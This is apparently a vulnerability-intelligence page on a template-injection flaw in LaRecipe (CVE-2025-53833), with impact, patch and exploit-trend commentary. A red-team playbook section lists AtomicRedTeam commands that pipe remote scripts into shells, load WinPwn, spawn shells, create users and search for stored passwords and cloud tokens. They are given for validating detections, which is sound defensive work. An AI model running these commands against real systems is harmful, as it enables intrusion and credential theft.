CVE-2025-53833
Overview
The vulnerability is a Server-Side Template Injection (SSTI) affecting LaRecipe versions prior to 2.8.1. It arises from improper sanitization of user-supplied input within the Markdown rendering component of the Laravel-based application. This flaw enables injection of malicious template directives into the server-side rendering process, compromising the template engine's execution context.
Vulnerability Description
LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations. Attackers could execute arbitrary commands on the server, access sensitive environment variables, and/or escalate access depending on server configuration. Users are strongly advised to upgrade to version v2.8.1 or later to receive a patch.
Impact
An unauthenticated remote attacker can exploit this SSTI to execute arbitrary commands on the server, access sensitive environment variables, and potentially escalate privileges within the application context. No user interaction or authentication is required, as the vulnerability is triggered by submitting crafted Markdown content. This can lead to full system compromise, data exfiltration, and disruption of service. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms network attackability without privileges or user interaction, with high confidentiality, integrity, and availability impacts.
Solution
Users of LaRecipe should upgrade to version 2.8.1 or later as specified in the GitHub security advisory GHSA-jv7x-xhv2-p5v2. The patch, available in commit c1d0d56889655ce5f2645db5acf0e78d5fc3b36b, implements input sanitization to prevent SSTI exploitation. No alternative workarounds are documented; applying the official update is required to remediate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question is a Server-Side Template Injection (SSTI) flaw present in the LaRecipe application, which is designed for creating documentation using Markdown within a Laravel framework. SSTI vulnerabilities occur when user input is improperly sanitized and is then processed by a template engine, allowing attackers to inject malicious code that the server executes. In this case, the flaw can lead to Remote Code Execution (RCE) under certain configurations, where an attacker can run arbitrary commands on the server. This situation is particularly critical given that the application may handle sensitive data and configurations, making it a prime target for exploitation.
Attack vectors for this vulnerability are varied and can be executed through different means. An attacker could exploit the flaw by crafting a malicious payload that is sent as part of a request to the LaRecipe application. If the application processes this input without adequate validation or sanitization, the attacker could leverage the SSTI to execute commands on the server. For instance, an attacker might inject code that retrieves sensitive environment variables or modifies application behavior to escalate privileges. The exploitation of this vulnerability is not limited to direct command execution; it can also lead to further attacks such as data exfiltration, lateral movement within the network, or even full system compromise, depending on the server's configuration and the privileges of the application.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on LaRecipe for documentation management. The potential for RCE means that attackers could gain complete control over the server, leading to unauthorized access to sensitive information, including user data, API keys, and other critical assets. The business risks associated with such an incident are profound, including financial losses, reputational damage, and regulatory penalties, especially if sensitive customer data is compromised. Organizations may also face operational disruptions as they respond to the breach, investigate the extent of the damage, and implement remediation measures.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize upgrading to the patched version of LaRecipe (v2.8.1 or later). Regularly updating software is a fundamental practice in cybersecurity, as it helps to close known vulnerabilities. Additionally, implementing Web Application Firewalls (WAF) can provide an additional layer of defense by filtering out malicious requests that may attempt to exploit the SSTI vulnerability. Organizations should also conduct regular security assessments, including penetration testing and code reviews, to identify and remediate potential vulnerabilities in their applications. Furthermore, employing input validation and output encoding practices can significantly reduce the risk of SSTI and other injection-based attacks.
In conclusion, the Server-Side Template Injection vulnerability in LaRecipe represents a critical security risk that can lead to severe consequences if left unaddressed. Organizations must take proactive steps to mitigate this risk by upgrading their software, employing security best practices, and fostering a culture of security awareness among their development teams. By doing so, they can better protect their systems and sensitive data from the ever-evolving threat landscape.
CSURFACE threat intelligence has identified a measurable increase in the Exploit Prediction Scoring System (EPSS) for CVE-2025-53833, reflecting a growing likelihood of exploitation attempts in the wild. Although the 7-day trend remains stable, the overall EPSS score has risen by nearly a quarter, signaling heightened attacker interest and potential operationalization of this Server-Side Template Injection vulnerability. This shift is further underscored by the emergence of new proof-of-concept exploits publicly available on GitHub, which lowers the barrier for threat actors to develop functional attack tools. For defenders, this evolving landscape means that the window for proactive detection and prevention is narrowing, as adversaries are increasingly equipped to leverage this critical vulnerability for Remote Code Execution. Consequently, the risk level associated with CVE-2025-53833 has escalated from a theoretical concern to a more imminent threat, warranting increased vigilance in monitoring and response activities.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
iQingshan/Blackash-CVE-2025-53833
CVE-2025-53833
|
iQingshan | 0 | 0 | 2025-07-16 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-53833 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/saleem-hadad/larecipe/security/advisories/GHSA-jv7x-xhv2-p5v2 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/saleem-hadad/larecipe/pull/390 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/saleem-hadad/larecipe/commit/c1d0d56889655ce5f2645db5acf0e78d5fc3b36b |